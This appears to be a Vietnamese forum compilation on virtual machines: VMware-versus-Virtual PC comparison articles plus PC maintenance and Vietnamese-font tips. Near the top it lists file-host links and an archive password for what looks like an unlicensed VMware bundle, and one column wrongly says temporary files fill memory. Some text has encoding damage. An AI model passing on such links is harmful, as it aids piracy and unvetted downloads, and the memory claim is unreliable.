Vấn đề là khi xài Máy Ảo có nên install Ma (Ghost) vào Máy Ảo ? Trong khi xài Máy Ảo không cần install Ghost vì nếu Máy Ảo bị nhiễm trùng hay hack chỉ cần delete OS trong Máy ảo hay uninstall Máy Ảo...

Khi xài Máy Ảo và install nhiều OS vào rồi thì có thể xài Ghost để làm disk image cho máy thật (chứa Máy Ảo) thì sau nầy nếu Máy Ảo bị hack hay nhiễm trùng thì chỉ cần xài Ghost để restore disk image của máy thật có cả Máy Ảo và những OS đã install vào Máy Ảo là xong.

10. VMware 2006 AIO

http://rapidshare.de/files/9500039/VM2012.part01.rar
http://rapidshare.de/files/9500644/VM2012.part02.rar
http://rapidshare.de/files/9500950/VM2012.part03.rar
http://rapidshare.de/files/9501133/VM2012.part04.rar
http://rapidshare.de/files/9501397/VM2012.part05.rar
http://rapidshare.de/files/9501698/VM2012.part06.rar
http://rapidshare.de/files/9502028/VM2012.part07.rar
http://rapidshare.de/files/9502249/VM2012.part08.rar
http://rapidshare.de/files/9502551/VM2012.part09.rar
http://rapidshare.de/files/9502738/VM2012.part10.rar
http://rapidshare.de/files/9503019/VM2012.part11.rar
http://rapidshare.de/files/9507171/VM2012.part12.rar
http://rapidshare.de/files/9508426/VM2012.part13.rar
http://rapidshare.de/files/9510561/VM2012.part14.rar
http://rapidshare.de/files/9512800/VM2012.part15.rar
http://rapidshare.de/files/9513419/VM2012.part16.rar
Password to unRAR: VM4Cavern5Pleasure

37. Máy Ảo trong Máy Ảo ?

Đây là vấn đề ai muốn thí nghiệm chơi cho biết đâu là Ảo !!!

Quý vị xài Windows XP và install VMware, trong VMware quý vị install Windows 2003 Server (Máy Ảo). Trong Windows 2003 Server, quý vị install VMware, rồi sau đó quý vị vào VMware bên trong Windows Server 2003 để install thêm Windows 98 (Máy Ảo 98 trong Máy Ảo 2003 Server)...

IBM hiện giờ đang thử (debugged) cái version Virtual Machine (VM) mới của IBM là xài cái VM mới để chạy version VM cũ.

Giả sử xài được Máy Ảo trong Máy Ảo thì...

Trong Máy Ảo thì có thể xài được bao nhiêu tầng Máy Ảo ???

Đây là bài so sánh gần đây về VMware 5 và Virtual PC 2004...

Virtual PC 2004 vs. VMWare Workstation 5

July 11.2005

By Jeanne Paschang

(http://www.adminprep.com/articles/default.asp?action=show&articleid=81)

Introduction

Test, test, test. How often do we hear this mantra? As system administrators and engineers, we probably hear it all the time. Below are just a few of the situations you most commonly encounter regarding testing.

- Before you install this service pack, be sure to test it.
- Before you restore your SQL server, test the process so you know what to eXPect.
- Before you do an in-place upgrade of your Exchange server from Exchange 2000 to Exchange 2003, make sure you test it first.

It is always good advice to test programs and procedures before implementing them. It is also a good practice to back up any systems undergoing a significant change. But what is the best way to do all that recommended testing? Obviously, the best way to perform testing is to install a test lab that is as close as possible to the real environment

Why test and who has time?

I worked as a full-time network administrator over the last fifteen years for several different companies. I was one of those paranoid system administrators as many of us are. Downtime to the company meant lost revenue. To me, downtime meant angry users, lost time and/or a lost job! As a result, service packs, new product installations and upgrades made me nervous. After all, these companies relied heavily on their information systems. A bad patch could mean disaster. Some people dream of new houses, cars or boats. I often dreamt of a test lab. To that end, I presented several business cases for building a test lab. The reaction was always the same: “you want us to dedicate equIPment to sit around and do nothing most of the time?” Even when I presented how many dollars could be lost in terms of productivity as the result of just a single bad software or procedure, they just did not seem to get it. One of the companies I worked for even wanted to get into the business of installing networks for small businesses, yet they resisted the idea of a test lab.

Today, as a technology instructor and consultant, I usually ask my corporate students if they have a test lab environment. The response I often get is peals of laughter. Many of them respond as follows. “Of course we have a test lab. We call it our production environment!” If they do have a lab, it consists of whatever junk machines they could piece together. I would say only about one person in eight ever raises their hand and says they have a dedicated test lab. I can understand the resistance five or ten years ago when an extra PC was a big dollar item. Additional space is often the other consideration, particularly in areas where real estate is at a premium. Time constraints are the other problem. A test lab requires regular care and feeding in terms of loading and re-loading operating systems and applications. Even today, the test lab appears to be a poor relation to the rest of the IT world.

Virtual Machines to the Rescue

But no more! å ow we have some excellent products at our disposal to test whatever we need to with far more ease than in the past. Many administrators discovered the advantages of virtual machine products many years ago. Yet, I am surprised at how many administrators I encounter who are not aware of the capability of these tools. If you are one of the persons in that group, this article will open your eyes to some of the possibilities these products can bring to your networking environment. One of the most important things you can gain from these products is more stable and versatile information systems.

First, let us investigate how these products work. Virtual machine products such as VMWare Workstation 5 and Microsoft Virtual PC 2004 base their success on a common concept. The concept is as follows.

1. Install an operating system such as Windows XP on a physical machine (the host machine).
2. Install the virtual machine application such as VMWare or Virtual PC.

3. Create virtual machines (the guest operating systems) and install the operating system(s) of choice in each virtual machine.

4. You can run several virtual machines at once depending on the hardware.

Why have these programs become so popular ? Let me count the ways.

First, consider the space and hardware costs mentioned above. Why fill a room with several physical machines for testing purposes when a single machine can support four or five virtual machines running on top of the host machine operating system? All of this computing power can reside in a spare corner of a cubicle. The virtual machines are portable and are far easier to build and work with than a traditional test lab.

Second, consider the application developers. I have worked with enough developers in my career to know that they usually "blow up" their workstation about once a week or so. That is just the nature of their work. They write code and in the process, the workstation is often a casualty. Before the virtual machine products, it used to be a pain getting them back up and running. You could get them a new image, but it still had to be loaded and it was difficult for them to get back where they left off before it blew up. This process amounted to lost time and effort on both sides.

More Reasons

Third, as a Microsoft Certified Trainer, I use the Microsoft Virtual PC 2004 for most of the classes I teach today. About a year and a half ago, Microsoft began using the Virtual PC product in many of its classes. This change makes it easier to setup a classroom. From an instructor viewpoint, it is easier to recover if a student makes a mistake during a lab. It is easier to provide the student with a new virtual machine instead of reloading an image. In addition, in a traditional class format, many of the labs required multIPle machines with one student per machine. This setup often meant students had to work in groups. One student would do the steps in one part of the lab while others watched or waited. With the virtual machines, each student can perform all the steps of the lab independently of others.

Another advantage in the training arena is for situations where the setup requires a trIPle boot using Windows 98, Windows 2000 and Windows XP. Many of the A+ and å etwork+ classes require this configuration. A trIPle boot is difficult to set up and keep stable during the duration of the class. Using virtual machines, the students can run all three operating systems seamlessly on a single workstation.

Fourth, many companies are using the virtual machines for program compatibility issues. For example, a mission-critical application may only run on Windows 98. Often, this situation limits or stalls an upgrade to Windows XP. In fact, this was one of the key reasons Microsoft acquired the Connectix Virtual PC product back in 2003. (Microsoft revamped the product and reintroduced it as Virtual PC 2004). They knew many companies were not upgrading to Windows XP due to compatibility issues with legacy programs. One company I consult for actually had two workstations at each person's desk with switchboxes so they could continue to use the old application on Windows98 and still take advantage of other programs that required XP. With a virtual machine product, they were able to remove the Windows 98 machine and the hassle of the switchbox. This change also made the users happy to get more space under their desks.

Fifth, assume you are a network administrator supporting one of these applications that runs fine on Windows 2000, but you are not sure how it behaves with Windows XP. You contact the vendor to find out about compatibility. The vendor's response goes something like this. "Well, we haven't run it on XP, but it should work. Oh, and by the way, when you test it, could you let us know how it goes and if you find any problems?" The virtual machine allows you to test interaction between server and workstation client so you find problems before they happen. Hmm. Maybe the vendor could benefit from this technology as well!

Conclusion

Finally, companies are deploying virtual machines for server consolidation. For example, many companies have four or five servers, each performing a specialized task. One server may do backups, another one monitoring and yet another one is file and print. By using one of the virtual server products such as Microsoft Virtual Server 2005 or the VMWare GSX and ESX Server, many of these roles can consolidate as virtual servers on a single piece of hardware. This use is beyond the scope of this article. Our concentration here will be on comparing the virtual pc product offerings, specifically Microsoft Virtual PC 2004 and the recently released VMWare Workstation 5.

Let's get to it. Here are features about the two products.

On the surface, it looks as if VMWare Workstation 5 is the clear winner. However, stay tuned for the next segment in this two-part article: VMWare 2005 vs. Virtual PC 2004 – A Fight to the Finish! In the next article, we will eXPlore how well each of these products goes head-to-head in delivering performance, features and functionality for their assigned tasks. In addition, we will discuss some optimization techniques to help you get the best performance out of each product.

The Great Race: VMWare Workstation 5 vs. Virtual PC 2004

ả ow, the match race you have all been waiting for! Here is part II of the Virtual Machine product match-up. As mentioned in Part I of this article, both products are enjoying immense popularity. Which one is right for you? You make the decision!

Step 1 – Product Procurement

Before you can have a race, you have to procure the horses to run the race. In this case, the vendors make it easy on us to purchase their product. You can purchase VMWare directly from the website at www.vmware.com in electronic format, provided you have a valid email address and credit card. (There's always a catch, isn't there?).Once you provide the information, the company will email you your registration code. From there, you download the binaries for the product and perform the installation. At one point during the installation, the program will prompt you for the registration code. A simple cut and paste from the email you received is all you need to get started from here.

You can obtain Virtual PC from a variety of web resellers for a variety of prices. Each vendor will differ in delivery methods. For this test case, Virtual PC installed directly from the product CD. VMWare installed from the process mentioned above.

Step 2 – Assessing the Capabilities

Before horses can particIPate in a race, they receive a handicap. The handicap helps keep the race on an even keel. In this case, the handicap is assessing which guest operating systems are supported. Part One of this article mentions the operating system choices are, but here is a more detailed look at the screen shots of supported operating systems for each product.

VMWare

Virtual PC

Step 3 - Product Installation

To keep the race even, both products install on the following hardware running Windows XP SP2. The documentation for both products refers to this base machine as the ''Host PC''.

Host PC EquIPment

- Compaq Evo Model 510
- Single 1.8 gig Hz processor
- 2 gig RAM
- 40 gig 5400 rpm speed internal IDE hard drives
- Both drives are defragged before beginning tests

The Virtual Machine software used is as follows. Each product runs on its own Host PC.

- VMWorkstation 5, build 13124
- Virtual PC 2004 with Service Pack 1

Virtual PC 2004 installed quickly and without incident via a wizard. There are not too many options during the installation other than location of program files. The program defaults to C:\Program Files\Microsoft Virtual PC, but you can change the installation path if desired. After the installation, be sure to install Service Pack 1 for the product to take advantage of performance enhancements and additional fixes. Service pack 1 is available for download from Microsoft's web site.

VMWare Workstation 5 also installed quickly and without incident via a wizard. This installation program had a few more bells and whistles to the initial installation. For example, at the beginning of the process, it prompts the user if they want to install shortcuts on the desktop and quick launch bar. This feature represents basic functionality and is user friendly. Virtual PC requires the user to take the additional steps to make this happen. This is not necessarily a bad thing, as most technical users do not like to clutter the desktop or launch pad with additional shortcuts. It is all a matter of preference. VMWare presents a program tIP once the application launches. Again, this is a nice feature for users new to the Virtual Machine world.

Step 4 – Saddle up for the race

There is always preparation work to do before a horse race. The horses need saddles and equIPment, the jockeys weigh in and other little details have to happen. Likewise, the virtual machine environments require similar preparation. Here are some of the planning details to consider before installing the operating systems.

First, like any standard installation, you need to determine how much drive space you want to allow for the virtual machines. Both products refer to these machines as "Guest PCs". In this case, the installation is a default installation of Windows XP with few applications, so excessive drive space is not necessary. For the test environment, the following table illustrates the Guest PC environment for the installation. Again, both platforms install with identical specifications and setups as outlined below.

- Windows XP SP1 operating system installed from CD
- Drive space allocation 6 GB
- RAM allocation 512 MB

The RAM allocation is a very important point to consider before the installation. Because Windows XP is a Microsoft product which requires activation, changes to the virtual machine environment after the Guest PC after installation can trigger reactivation. VMWare displays a couple of warnings to this effect during the Guest OS installation, but Virtual PC does not at this point. See the VMWare warning below.

Each product takes a slightly different approach to creating new virtual disks. The following excerpt is a quote from the Virtual PC 2004 help files defining the virtual disk concept.

''Virtual hard disks and virtual floppy disks provide functionality that is similar to their physical disk equivalents. Virtual disks support both writing data and reading data. A virtual disk is stored on the physical computer as a single file. Virtual hard disks and virtual floppy disks are created using the Virtual Disk Wizard. A virtual hard disk is a single file on the physical computer that stores all the data used by the operating system installed on the virtual machine. Virtual hard disks have a.vhd extension. From within the virtual machine, the virtual hard disk appears to be the same as a physical hard disk. The virtual machine uses the virtual hard disk the same way that a physical computer uses a physical hard disk. There are several different types of virtual hard disks available''.

The idea is to define the parameters for this file before installing the Guest OS. In Virtual PC, by default, you will get a 16 GB virtual hard disk. To specify an 8 GB virtual disk as desired for this test, you must create the disk in the Virtual Disk Wizard. The options for the Virtual PC disk are as shown in the diagram below. Each option is well eXPlained on this screen.

For VMWare, the virtual disk creation happens differently. When the user selects to install a Guest operating system, the system prompts for the virtual disk size and options. See the diagram below.

The Race is On

In the first meeting, a default installation of Windows XP SP1 is the test track each product will try to conquer. Side by side, the two machines raced to see which contender could install this popular operating system first. As you can see from the chart below, both champions bolt from the gate with a strong start. ả eck in neck toward the first turn, they complete the quick ả TFS format at the same time. However, racing toward the second turn, VMWare pulls a slight lead, finishing the file copy after format a full two minutes ahead of Virtual PC. By the time they round the third turn, VMWare starts to assert its lead. Heading into the home stretch toward the finish line, VMWare pulls ahead with a comfortable lead, finishing the XP installation in 18 minutes as opposed to 41 minutes for Virtual PC.

Step 6 - Who gets the roses?

However, what is speed you say? Most of us are in the habit of multi-tasking, especially when performing installs. The bottom line is they both get the job done, but if you are a Type A personality, VMWare might be your preference.

Once the guest operating systems installs, what else needs is there to do? There is additional work on both platforms. For example, once the operating system installs and starts, both products prompt you for additional steps to perform. The steps below help the operating systems attain maximum performance and user eXPerience.

VMWare offers VMWare Tools. This is an additional installation to the guest operating system. The tools enhance the screen resolution, mouse integration and provide other rich features. Most importantly, the installation of the tools allows free movement of the mouse cursor between the Host PC and the Guest OS. Without the tools, the user must select CTRL-ALT to ‘’release’’ the mouse from the Guest OS. The tools are available from the main VMWare menu. For this process, you must log into the Guest PC as an administrative account. These tools are available from the VMWare menu.

Virtual PC offers VPC additions. The VPC additons perform much of the functionality of the equivalent VMWare Tools. These additions are available from the Virtual PC menu.

Step 7 – Head to the Forums!

So who is the winner in this round? You be the judge. As one reader in the forums already noted, price is a big factor in many of these decisions. Both a Lexus and Toyota will get you from point A to point B, but you pay for the extra features and the name on the Lexus. In my opinion, both of these products perform well, but it does depend on what your environment requires and of course, the budget. Both products are good quality and perform as eXPected (no Ford escorts in this bunch!).

DANH TỪ PHỔ THÔNG VÀ CÁC CĂN BỆNH ĐIỆN TOÁN THÔNG THƯỜNG

Phạm Huy

Hiện nay trước sự cải thiện không ngừng trong lãnh vực kỹ thuật, máy móc điện toán đã đáp ứng nhu cầu sinh hoạt trong đời sống hằng ngày. Song song đó nhu cầu bảo trì máy móc cũng là điều cần thiết cho tất cả những người sử dụng máy điện toán.

Máy càng ngày càng chạy chậm: Có rất nhiều nguyên nhân đưa đến máy càng ngày chạy càng chậm nếu so với thời gian sử dụng ban đầu. Một trong những lý do sau đây:

Theo thời gian sử dụng máy điện toán như cài đặt một nhu liệu vào trong máy, sử dụng internet mỗi ngày v.v...tất cả các công việc trên sau khi làm việc xong đều lưu trữ lại những hồ sơ không cần thiết ở trong máy điện toán. Và sự tích trữ những hồ sơ không cần thiết này liên quan trực tiếp tới bộ nhớ memory. Bộ nhớ memory phải trích giải một phần để lưu trữ những hồ sơ không cần thiết này đưa đến hiện tượng máy bị chạy chậm. ả ên để tránh máy điện bị rơi vào tình trạng chạy chậm tốt nhất nên tập thói quen bảo trì điện toán mỗi tuần như Disk Defragment, Scan Disk và Disk Clean Up.

Disk Defragmneter và Scan Disk không ảnh hưởng trực tiếp tới sự vận hành máy computer bằng Disk Cleanup. Theo những bước hướng dẫn dưới đây để biết vị trí của Disk CleanUp trong Windows.

Star -> Program -> Accessories -> System Tools -> Disk Cleanup.

Hình icon của Disk Cleanup là cái chỗi + hình máy điện toán.

Disk Cleanup: Đây là một trong những icon quý vị phải sử dụng hầu như mỗi tuần vì Disk Cleanup tool sẽ tẩy máy của quý vị trong những phần sau:

- Tẩy những hồ sơ trong Recycle bin.
- Tẩy những cookie trong temporary internet file.
- Tẩy những hồ sơ trong temporary file.
- Tẩy những hồ sơ không cần thiết trong hard drive.
- Tẩy những hồ sơ cũ hoặc duplicate (giống nhau) v.v...

Windows XP và Windows 2000 cho phép quý vị có nhiều chọn lựa, còn Window 98 chỉ hạn hẹp trong recylce bin và internet file.

Thông thường sau khi nâng cấp (upgrade), cài đặt nhu liệu (software installation), down load từ trong internet hay bất cứ một hình thức download nào đều lưu trữ một vài files trong temporary folder, theo thời gian trong temporary folder sẽ tích lũy dần càng ngày số mega bytes càng nhiều cho đến một lúc nào đó hệ thống computer cho chúng ta biết memory bị xuống thấp và không chạy được nữa hoặc chạy rất chậm.

Đây là một trong những lý do chính ảnh hưởng tới hiệu năng làm việc của máy. Quý vị phải dùng disk cleanup tool hằng tuần để duy trì máy chạy tốc độ như ban đầu. Để dễ hiểu và thực tế hơn, hãy tham khảo disk cleanup qua phần hỏi và đáp.

Hỏi: *Tại sao disk defragmenter chỉ là phần phụ ít trực tiếp tới máy computer hơn là disk cleanup và ngoài disk cleanup tool ra còn có cách nào khác làm cho system chạy nhanh hơn không ?*

Đáp: ả hư đã đề cập trong bài tham khảo vừa qua disk defragmenter trực tiếp sắp xếp hồ sơ, nhu liệu, Windows v.v...trong ổ chứa (hard drive) cho thứ tự, gọn gàng và giảm thì giờ tìm kiếm cũng giống như ví dụ cho quần áo nếu không sắp xếp cho ngăn nắp và thứ tự thì thời gian tìm kiếm sẽ lâu hơn.

Tuy vậy hard drive defragmenter chỉ ảnh hưởng phần nào trong tiến trình làm việc của máy, còn disk cleanup là phần chính vừa tẩy trực tiếp trong hard drive những nhu liệu được lập lại (duplicated) những nhu liệu không sử dụng thừa thãi v.v...và những nhu liệu không cần thiết chứa trong memory. ả hững files dữ kiện chứa trong temporary folder đều chiếm một phần trong memory, dĩ nhiên những file trong temporary folder đều không có giá trị gì cả nên khi vận hành máy computer, memory phải trích ra một số Mega byte tương xứng để lưu trữ các data trong temporary files, chính vì lý do này đưa đến tình trạng Windows càng ngày chạy càng chậm. Do đó việc dùng Disk Cleanup là điều cần thiết trong chương trình duy trì cho máy điện toán luôn luôn làm việc trong điều kiện tuyệt hảo.

Quý vị có thể thực hành ngay bước Disk Cleanup này thì sẽ thấy phản ứng của máy điện toán nhanh hơn trước rất nhiều. Một trong những điều mà quý vị tin tưởng và thuộc nằm lòng đó là Disk Cleanup không bao giờ xóa bỏ bất cứ một nhu liệu và hồ sơ nào trong máy của quý vị.

Hỏi: *Xin giải thích rõ hơn một chút về temporary file trong các Window 98, 2000 và XP, ngoài cách dùng Disk Cleanup tool còn cách nào để cleanup máy không ?*

Đáp: Một câu hỏi thật là căn bản và thú vị. Thật sự ra khi đề cập đến Disk Cleanup có nghĩa là chú tâm tới hai hồ sơ quan trọng trong máy điện toán đó là temporary file and temporary internet file. Khi sử dụng xong disk cleanup mà máy chạy vẫn không thấy nhanh cho lắm, quý vị đừng có quyết định phải thêm memory vội cho máy chạy nhanh hơn vì phải vào tận temporary và internet folder xem trong hai folder này đã tẩy hết những dữ kiện (data) không cần thiết đi chưa. ẩ hiểu khi trong temporary folder có một vài hồ sơ không cho phép xóa đi (deleted) nên những hồ sơ kế tiếp cũng bị ứ đọng theo và từ đó temporary folder không bao giờ tẩy hết data được nếu còn dùng Disk Cleanup tool. Trong trường hợp này phải vào temporary folder tẩy từng dữ kiện một. Từ kỹ thuật hay dùng gọi phương pháp này là manual method. Hay giải thích cách khác là tất cả những gì không dùng tự động (automatic) thì phải dùng tay chân để giải quyết (manual).

Quý vị độc giả còn sử dụng Win98 xin chú ý và hiểu cặn kẽ phương pháp manual để tẩy các dữ kiện trong temporary folder, đây là một trong những trường hợp thông thường trong Win98 và Win ME, làm cho máy chạy trong một thời gian ngắn và chậm dần và chậm dần đưa đến tình trạng mỗi lần bật máy computer lên phải mất một thời gian khá lâu Win98 mới hiện lên màn hình. Windows 2000 hoàn hảo hơn và rất ít trường hợp data bị lưu trữ trong temporary file. Window XP cũng lưu trữ dữ kiện trong temporary file không kém gì Win98 và ME. ẩ ên Win 98, ME và XP phải được chú trọng và cleanup máy mỗi tuần. Mong quý vị độc giả đón đọc vào tuần tới cũng trong đề tài danh từ phổ thông và các căn bịnh điện toán thông thường.

Bất cứ một máy điện toán của người Việt, ngoài những kiến thức sử dụng các nhu liệu căn bản như Word, Excel, Power Point, Outlook ra thì phần tìm hiểu và sử dụng tiếng Việt cũng cần phải biết. Sau đây là những căn bịnh phổ biến trong Windows:

Tiếng Việt xuất hiện không đúng khi đọc các trang Web điện tử Việt ẩ am:

Khi tiếng Việt xuất hiện không đúng trên trang web Việt ẩ am như những giòng chữ kỳ lạ, những ô vuông xen kẽ, dấu hỏi ngã không đúng theo qui luật v.v...các hiện tượng tiếng Việt xuất hiện không đúng trên các trang Web này đưa đến sự phân tích kỹ thuật cả hai bên đó là máy điện toán và kỹ thuật thiết kế mẫu tự Việt ẩ am trên trang Web từ nhà thiết kế Web designer.

Chương trình tiếng Việt VPS

- ẩ ếu máy điện toán còn sử dụng Window 98, ME và 2000 thì điều kiện đầu tiên muốn đọc được các trang web Việt ngữ phải cài đặt đầy đủ các mẫu tự Việt ngữ vào trong Windows. Danh từ chuyên môn gọi các mẫu tự Việt ẩ am này là Vietnamese Font và ký hiệu mã (code) cho các Font này là.ttf (true type font). Mỗi mẫu tự Việt ẩ am đều có ký hiệu mã khác nhau nên một trong những điều kiện để đọc được các trang web Việt ẩ am thì trong máy phải có đầy đủ các mẫu tự Việt ẩ am đó. Có rất nhiều ký hiệu mã mẫu tự khác nhau như một vài mẫu tự mã khá phổ biến như Vẩ I, VPS, Vẩ , và Unicode. Các Windows 98, ME, và 2000 muốn đọc được các trang web tiếng Việt phải đem tất cả các mẫu tự phổ biến Vẩ I, VPS, Vẩ , và Unicode vào trong Windows. Sau đó Windows sẽ dựa vào các mẫu tự này và tiếng Việt sẽ xuất hiện lên trang Web.

- ẩ hững trang Web cũ khi thiết kế dùng mẫu tự mã riêng biệt nên người đọc cũng phải trang bị mã tự đó thì tiếng Việt mới xuất hiện đúng được. Ví dụ như nhà thiết kế trang web Việt ngữ sử dụng mẫu tự mã Vẩ I, thì trong máy người đọc cũng phải có Vẩ I thì mới đọc được trang web này. Đại đa số các chuyên viên Web Designer cũng thiết kế thêm phần Font download để ngăn ngừa trường hợp tiếng Việt xuất hiện không đúng trên web chỉ cần nhấn vào nút font download và chuyển các mẫu tự Vẩ này vào trong Windows, reboot máy điện toán và vào trang web đó sẽ đọc được nội dung.

Hỏi: *Như đã giải thích Windows 98, Me và 2000 cần cài đặt các loại mẫu tự tiếng Việt vào trong Windows, vậy tiến trình đưa mẫu tự tiếng Việt đó như thế nào ?*

Đáp: Theo những bước hướng dẫn sau để biết tất cả các loại mẫu tự được lưu trữ ở đâu trong nhu liệu vận hành Windows:

Start -> setting -> control panel -> font (icon).

Khi nhấn con chuột hai lần trên Font Icon sẽ xuất hiện một folder trong đó chứa tất cả các loại mẫu tự bao gồm luôn cả mẫu tự thường và mẫu tự Việt ả am. Các application software như Word, Power Point, Photoshop v.v...đều nối kết với Font folder này để sử dụng. ả ếu font folder có các loại mẫu tự tiếng Việt khác nhau thì ngoài công việc đọc được tất cả các trang web Việt ngữ còn cho phép đánh máy tiếng Việt trong các mã mẫu tự khác nhau trong application software như Photoshop hoặc Power Point chẳng hạn. Phương pháp nhanh và đơn giản nhất để đưa mẫu tự vào trong Fonder font là mở Font Folder lên, và folder có chứa mẫu tự vừa mới download và chỉ dùng con chuột kéo mẫu tự đó vào Font Folder của Control Panel là đủ. Sau đó Restart máy điện toán là có thể sử dụng font tiếng Việt đó trong Windows.

Hỏi: *Window 98, Me và 2000 trong điều kiện phải cài đặt các mẫu tự mới đọc được trang web Việt Nam nhưng Windows XP cũng bị trở ngại không đọc được các trang web Việt Nam ?*

Đáp: Đúng như vậy tất cả những máy móc sử dụng Windows XP, một trong lợi điểm của Windows này liên quan trực tiếp tới các trang web tiếng Việt sử dụng mẫu tự mã Unicode. Vì Widnows XP đã trang bị mã unicode cho tiếng Việt nên sẽ không trở ngại khi đọc các trang web sử dụng mẫu tự unicode này. Riêng các trang web cũ vẫn còn sử dụng các mẫu tự Việt ả am riêng biệt (ngoài unicode) đều bị trở ngại về sự xuất hiện ngôn từ không đúng cách nên cũng phải tìm cách đưa các loại mẫu tự riêng biệt vào trong Font Folder của Windows XP. ả hư đã giải thích ở phần trên một vài loại mẫu tự mã Việt ngữ thông dụng như Vả I, VPS và Vả nên đưa vào trong Font folder trong tất cả các Windows điều hành từ 98 cho đến XP để tránh trường hợp các web Việt ả am không đọc được tiếng Việt. Trong khi đó để đáp ứng nhu cầu người đọc tất cả các web Việt ả am hiện nay đều dùng mẫu tự mã Uả ICODE theo tiêu chuẩn Windows nên sẽ không trở ngại trong vấn đề ngôn ngữ Việt ả am xuất hiện trên trang web.

Tóm lại khi các trang web Việt ngữ hiện nay điều sử dụng hệ thống unicode từ trong nước cũng như hải ngoại, nên vấn đề ngôn ngữ xuất hiện trên trang web đều không trở ngại. Tuy nhiên Windows 98, Me hoặc 2000 đều phải cài đặt mẫu tự unicode vào trong Font folder mới đọc được vì các loại Windows này chưa có trang bị mẫu tự mã unicode. Thông thường vào các trang web dưới đây để download các mẫu tự tổng hợp và chuyển vào trong font folder:

<http://www.vnisoft.com/>

<http://www.vps.org/rubrique.php3?id_rubrique=22>

Tiếp theo bài viết vừa qua trình bày các trở ngại khi đọc tiếng Việt trên trang web Việt ả am liên quan trực tiếp tới các mẫu tự thiếu sót trong nhu liệu điều hành Windows, bài viết này cũng xoay quanh các vấn đề tiếng Việt và tìm hiểu về sự tương quan giữa đọc, viết và giao lưu bằng tiếng Việt qua email như thế nào ?

Tiếng Việt đọc và viết:

Theo một thói quen khi cài đặt một nhu liệu đánh máy Việt ngữ vào máy điện toán bao gồm luôn hai phần: ả hu liệu cho phép sử dụng bàn phím (keyboard) đánh máy và tự động cài mẫu tự Việt ả am trong Font folder của Control Panel. Trên thực tế đọc và viết tiếng Việt, cả hai phần hoạt động hoàn toàn độc lập và hỗ tương với nhau. Ví dụ nếu máy điện toán đó chỉ có nhu cầu đọc các trang web Việt ả am, chỉ cần trong Font folder trang bị đầy đủ các loại mã mẫu tự (font code) là đủ, các mẫu tự trên trang web Việt ả am sẽ hiện lên đúng bảng mã tiếng Việt không cần thêm nhu liệu cho phép đánh máy trên phím gõ. Ví dụ trên để chứng

minh tính cách làm việc hoàn toàn độc lập và hỗ tương cho nhau giữa đọc và viết. Quay lại kỹ thuật viết hay đánh máy đều phải có nhu liệu đặc biệt dành để chuyển các ký hiệu dấu sắc, huyền, hỏi, ngã và dấu nặng vào đúng vị trí của các từ ngữ Việt ả am. Các dấu bên Âu Châu hoặc Châu Mỹ Latin cũng đã sử dụng dấu hai chấm, ngã và dấu huyền, và các chuyên gia Việt ả am cũng dựa trên kỹ thuật này phát triển thêm và sử dụng cho kỹ thuật đánh máy Việt ả am trên bộ gõ. Muốn đánh máy được tiếng Việt phải cần nhu liệu cho phép chuyển sang mã Vả hỏi ngã v.v...danh từ chuyên môn hay gọi là Việt Key. Có rất nhiều nhu liệu lưu hành miễn phí như VPS Key, Viet Key, Vả I key v.v...sau khi cài đặt vào trong máy xong, muốn sử dụng chỉ bật nhu liệu đó lên, sau khi sử dụng xong tiếng Việt xong chỉ nhấn exit hoặc ngưng là đủ.

Tóm lại đọc và viết đều làm việc độc lập và có sự tương quan hỗ trợ lẫn nhau. Muốn đánh máy bằng tiếng Việt thì ngoài nhu liệu đánh máy cũng phải có mẫu tự tiếng Việt thì khi đánh máy trong Microsoft Word hay bất cứ một lập trình nào tiếng Việt mới hiện lên trên màn hình. Và cũng như khi đọc các trang Việt ả am trên internet máy điện toán phải trang bị đầy đủ các mã tự để tránh trường hợp không đọc được tiếng Việt y trên màn hình

Đánh máy tiếng Việt trong Word và Email:

ả goài đọc tiếng Việt thì đánh máy cũng là một phần sinh hoạt điện toán hằng ngày và các nhu liệu đánh máy hiện nay vận hành rất tốt trong hệ điều hành Window 2000 và XP. Một trong những điểm đặc biệt hệ thống đánh máy tiếng Việt có thể dùng trong bất cứ một lập trình nào trên Windows như đánh máy tiếng Việt trong: Word, Excel, Powerpoint, Autocad, Photoshop, Video Editing, Outlook, Outlook EXPress, Yahoo, aol v.v...trong Windows điều hành có trang bị bộ gõ chữ Việt ả am thì có thể sử dụng đánh máy tiếng Việt trong bất cứ trường hợp nào.

H*ỏi:* *Giải thích thêm về các hiện tượng người nhận không đọc được tiếng Việt khi người gửi dùng Yahoo hoặc Outlook ?*.

Đáp: Trước khi đi sâu vào câu giải đáp sử dụng đánh máy tiếng Việt trong email phải quay lại nhu liệu điều hành Windows. Các loại Windows 95, 98 và Me có rất nhiều trở ngại trong vấn đề ngôn ngữ tiếng Việt và đòi hỏi người sử dụng điện toán phải biết hoán chuyển (convert) khi không đọc được bài viết tiếng Việt mặc dầu trong font folder của control panel đã trang bị mẫu tự đó. ả ên trong phần giải thích dưới đây đều dựa trên vận hành của Windows 2000 và XP. Trên nguyên tắc sử dụng tiếng Việt trong email để gửi đi đều phải đáp ứng điều kiện cả hai chiều từ người nhận và người gửi. ả gười gửi sử dụng mẫu tự tiếng Việt gửi đi như thế nào thì người nhận trong máy điện toán cũng phải có mẫu tự tiếng Việt giống như người gửi, nếu người gửi dùng mẫu tự tiếng Việt này mà người nhận không có tiếng Việt đó đưa đến tình trạng sẽ không đọc được nội dung từ người gửi. Và để giải quyết vấn đề giao lưu tiếng Việt qua email, mẫu tự unicode đã trở thành căn bản và unicode font Arial hoặc Time new roman được sử dụng để đánh máy tiếng Việt. ả ếu dùng Windows XP hệ thống unicode đã được trang bị sẵn trong Windows nên khi nhận email đánh máy bằng bản mã unicode không bị trở ngại. Thỉnh thoảng Windows 2000 nếu bị trở ngại không đọc được mẫu tự unicode, rất đơn giản chỉ cần thêm một vài unicode font vào trong font folder của control panel là đủ có thể đọc được các loại email viết bằng bảng mã unicode.

Qua phần trình bày ở trên quý vị độc giả điện toán đã hiểu rõ sự hoạt động độc lập và có tính cách bổ xung cho nhau giữa đọc và viết trong email. ả gười gửi email nên sử dụng mã tự unicode khi đánh máy tránh người nhận không đọc được email vì những mẫu tự tiếng Việt lạ và không thông dụng. Trong trường hợp người gửi muốn sử dụng mẫu tự đó phải email riêng cho người nhận biết mẫu tự tiếng Việt đó thuộc bảng mã tự gì Vả I, VPS, Vả , Unicode v.v...tránh trường hợp đọc không được khi giao lưu tiếng Việt qua hệ thống email.

Các nhu liệu căn bản trong Window và những khái niệm tổng quát

Phần 1:

